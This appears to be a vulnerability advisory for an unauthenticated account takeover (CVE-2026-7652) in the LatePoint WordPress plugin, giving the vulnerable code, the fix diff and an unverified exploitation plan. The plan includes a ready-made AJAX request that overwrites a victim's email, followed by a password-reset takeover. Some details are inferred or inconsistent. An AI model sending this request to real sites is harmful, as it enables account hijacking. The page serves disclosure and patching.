CVE-2026-7652

LatePoint <= 5.5.0 - Unauthenticated Account Takeover via Weak Password Recovery Mechanism

mediumWeak Password Recovery Mechanism for Forgotten Password
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.5.1
Patched in
1d
Time to patch

Description

The LatePoint plugin for WordPress is vulnerable to Account Takeover via Weak Password Recovery Mechanism in the unauthenticated guest booking flow in versions up to, and including, 5.5.0 This is due to the save_connected_wordpress_user() function propagating a LatePoint customer's email address to its linked WordPress user account via wp_update_user() without any ownership verification, combined with the guest booking flow's ability to overwrite an existing customer's email through phone-based merge without authentication. This makes it possible for unauthenticated attackers to overwrite the email address of a non-super-admin WordPress user account that is not yet linked to a LatePoint customer, enabling full account takeover by subsequently triggering the standard WordPress password-reset flow to the attacker-controlled address granted the plugin is configured with WordPress user integration enabled, phone-based contact merging, and customer authentication disabled. Administrator accounts on single-site installs are not affected.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.5.0
PublishedMay 8, 2026
Last updatedMay 9, 2026
Affected pluginlatepoint

What Changed in the Fix

Changes introduced in v5.5.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-7652 ## 1. Vulnerability Summary The **LatePoint** plugin (<= 5.5.0) is vulnerable to an unauthenticated account takeover due to a flaw in how it handles customer information during the guest booking flow. When "WordPress User Integration" and "Phone-based Me…

Show full research plan

Exploitation Research Plan - CVE-2026-7652

1. Vulnerability Summary

The LatePoint plugin (<= 5.5.0) is vulnerable to an unauthenticated account takeover due to a flaw in how it handles customer information during the guest booking flow. When "WordPress User Integration" and "Phone-based Merging" are enabled, the plugin allows unauthenticated users to overwrite the email address of a linked WordPress user account.

The vulnerability exists in the logic that merges guest customer data with existing records. If an attacker provides a phone number belonging to an existing user but specifies a new, attacker-controlled email address, the plugin updates the associated WordPress user's email via wp_update_user() in the save_connected_wordpress_user() function. This occurs without verifying ownership of the phone number or the WordPress account, allowing an attacker to then use the standard WordPress "Lost Password" flow to take over the account.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: latepoint_route_call (unauthenticated)
  • Route: steps__process_step
  • Parameters:
    • step_name: customer
    • customer[phone]: Victim's phone number (used for merging)
    • customer[email]: Attacker's email address (the new value)
    • customer[first_name]/customer[last_name]: Required fields
  • Authentication: None required (Guest booking flow)
  • Preconditions:
    1. WordPress User Integration enabled (latepoint_settings['enable_wordpress_user_integration'] == 'on').
    2. Customer Merging set to phone (or phone-based merging enabled).
    3. Customer Authentication disabled (allowing guests to book).

3. Code Flow

  1. An unauthenticated request is sent to the latepoint_route_call AJAX action with the route steps__process_step and step_name=customer.
  2. The OsStepsController (inferred) processes the step.
  3. The plugin identifies that a customer with the provided phone already exists or matches a WordPress user.
  4. Because merging is enabled, the plugin updates the existing OsCustomerModel with the new email provided in the request.
  5. After saving the customer record, the plugin calls save_connected_wordpress_user() (inferred to be in OsAuthHelper or OsCustomerHelper).
  6. save_connected_wordpress_user() retrieves the wordpress_user_id from the customer record and calls wp_update_user([ 'ID' => $wp_user_id, 'user_email' => $new_email ]).
  7. The WordPress user's email is successfully changed to the attacker's email.

4. Nonce Acquisition Strategy

LatePoint typically uses a centralized nonce for AJAX requests available in the latepoint_helper JavaScript object.

  1. Identify Script Loading: The booking scripts load on pages containing the LatePoint booking shortcodes.
  2. Setup: Create a temporary page with the booking form.
    wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[latepoint_book_button]'
    
  3. Extraction:
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce:
      browser_eval("window.latepoint_helper?.nonce")
  4. Bypass Check: If the customer step does not enforce a nonce (common in guest flows to prevent caching issues), this step may be skipped.

5. Exploitation Strategy

  1. Initialize Session: Perform a request to get an order_intent_key (LatePoint's session identifier).
    • Request to steps__get_step for the booking step.
  2. Identify Victim: Find a WordPress user (non-admin) and their associated phone number.
  3. Execute Takeover:
    • Send a POST request to admin-ajax.php.
    • URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=latepoint_route_call
      &route_name=steps__process_step
      &params[step_name]=customer
      &params[customer][first_name]=Attacker
      &params[customer][last_name]=User
      &params[customer][phone]=VICTIM_PHONE_NUMBER
      &params[customer][email]=attacker-controlled@example.com
      &latepoint_nonce=EXTRACTED_NONCE
      
  4. Trigger Reset: Navigate to wp-login.php?action=lostpassword and enter the victim's username. The reset link will be sent to attacker-controlled@example.com.

6. Test Data Setup

  1. Create Victim:
    wp user create victim victim@example.com --role=subscriber --user_pass=password123
    # LatePoint stores phone in user meta or customer table. 
    # Ensure the phone is linked to the LatePoint customer record for this user.
    
  2. Configure LatePoint:
    # Enable WP User Integration and Phone Merging
    wp option patch insert latepoint_settings enable_wordpress_user_integration 'on'
    wp option patch insert latepoint_settings customer_merging_field 'phone'
    wp option patch insert latepoint_settings customer_authentication_for_bookings 'off'
    
  3. Create Booking Page:
    wp post create --post_type=page --post_status=publish --post_content='[latepoint_booking_form]'
    

7. Expected Results

  • The AJAX response should return status: "success".
  • The WordPress database should now show the victim's user record updated with the attacker's email address.

8. Verification Steps

Verify the email change via WP-CLI:

wp user get victim --fields=user_email
# Expected output: attacker-controlled@example.com

9. Alternative Approaches

If the steps__process_step route requires an active order_intent, first send a request to:

  • Route: steps__start_booking or steps__get_step with step_name=booking.
  • Extract the order_intent_key from the response JSON and include it as params[order_intent_key] in the exploit payload.
Research Findings
Static analysis — not yet PoC-verified

Summary

The LatePoint plugin for WordPress is vulnerable to an unauthenticated account takeover due to a weak password recovery mechanism within its guest booking flow. By providing a victim's phone number during booking, the plugin's phone-based merging logic updates the associated WordPress user's email to an attacker-controlled address without verification, allowing the attacker to then hijack the account via the standard WordPress lost password feature.

Vulnerable Code

// latepoint.php line 1147
public function save_connected_wordpress_user( $customer ) {
    if ( $customer->is_new_record() ) {
        return;
    }
    if ( $customer instanceof OsCustomerModel ) {
        if ( $customer->wordpress_user_id ) {
            // has connected wp user
            $wp_user = get_user_by( 'id', $customer->wordpress_user_id );
            if ( $wp_user && ! is_super_admin( $wp_user->ID ) ) {
                // update linked wordpress user
                if ( $customer->first_name && $customer->first_name != $wp_user->first_name ) {
                    $wp_user->first_name = $customer->first_name;
                }
                if ( $customer->last_name && $customer->last_name != $wp_user->last_name ) {
                    $wp_user->last_name = $customer->last_name;
                }
                if ( $customer->email && $customer->email != $wp_user->user_email ) {
                    $wp_user->user_email = $customer->email;
                }
                wp_update_user( $wp_user );
                // update user cookies because their data has changed
            }
        }
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.0/latepoint.php /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.1/latepoint.php
--- /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.0/latepoint.php	2026-04-27 10:09:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.1/latepoint.php	2026-05-05 05:38:32.000000000 +0000
@@ -1147,15 +1147,24 @@
 		}
 
 		public function save_connected_wordpress_user( $customer ) {
+			if ( ! $customer instanceof OsCustomerModel ) {
+				return;
+			}
+
 			if ( $customer->is_new_record() ) {
 				return;
 			}
-			if ( $customer instanceof OsCustomerModel ) {
-				if ( $customer->wordpress_user_id ) {
-					// has connected wp user
-					$wp_user = get_user_by( 'id', $customer->wordpress_user_id );
-					if ( $wp_user && ! is_super_admin( $wp_user->ID ) ) {
-						// update linked wordpress user
+
+			if ( $customer->wordpress_user_id ) {
+				// has connected wp user
+				$wp_user = get_user_by( 'id', $customer->wordpress_user_id );
+				if ( $wp_user && ! is_super_admin( $wp_user->ID ) ) {
+					// Only sync to the linked WP user when request comes from the account owner or an admin.
+					// This prevents unauthenticated guest booking requests from overwriting WP user data.
+					$current_user_id   = get_current_user_id();
+					$wp_user_id        = (int) $customer->wordpress_user_id;
+					$is_owner_or_admin = is_user_logged_in() && ( $current_user_id === $wp_user_id || current_user_can( 'manage_options' ) );
+					if ( $is_owner_or_admin ) {
 						if ( $customer->first_name && $customer->first_name != $wp_user->first_name ) {
 							$wp_user->first_name = $customer->first_name;
 						}
@@ -1172,10 +1181,10 @@
 							// update user cookies because their data has changed
 						}
 					}
-				} else {
-					if ( OsAuthHelper::can_wp_users_login_as_customers() ) {
-						OsCustomerHelper::create_wp_user_for_customer( $customer );
-					}
+				}
+			} else {
+				if ( OsAuthHelper::can_wp_users_login_as_customers() ) {
+					OsCustomerHelper::create_wp_user_for_customer( $customer );
 				}
 			}
 		}

Exploit Outline

To exploit this vulnerability, an attacker first identifies the phone number of a target WordPress user who has a linked LatePoint customer account. The attacker then initiates an unauthenticated AJAX request to the `latepoint_route_call` endpoint with the `steps__process_step` route. The payload specifies the `customer` step and includes the victim's phone number along with an attacker-controlled email address. Because the plugin is configured to merge customers based on phone number and lacks ownership validation in `save_connected_wordpress_user()`, it updates the victim's WordPress user record with the attacker's email. Finally, the attacker uses the standard WordPress 'Lost Password' flow to send a password reset link to their own email address, granting them full access to the victim's account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.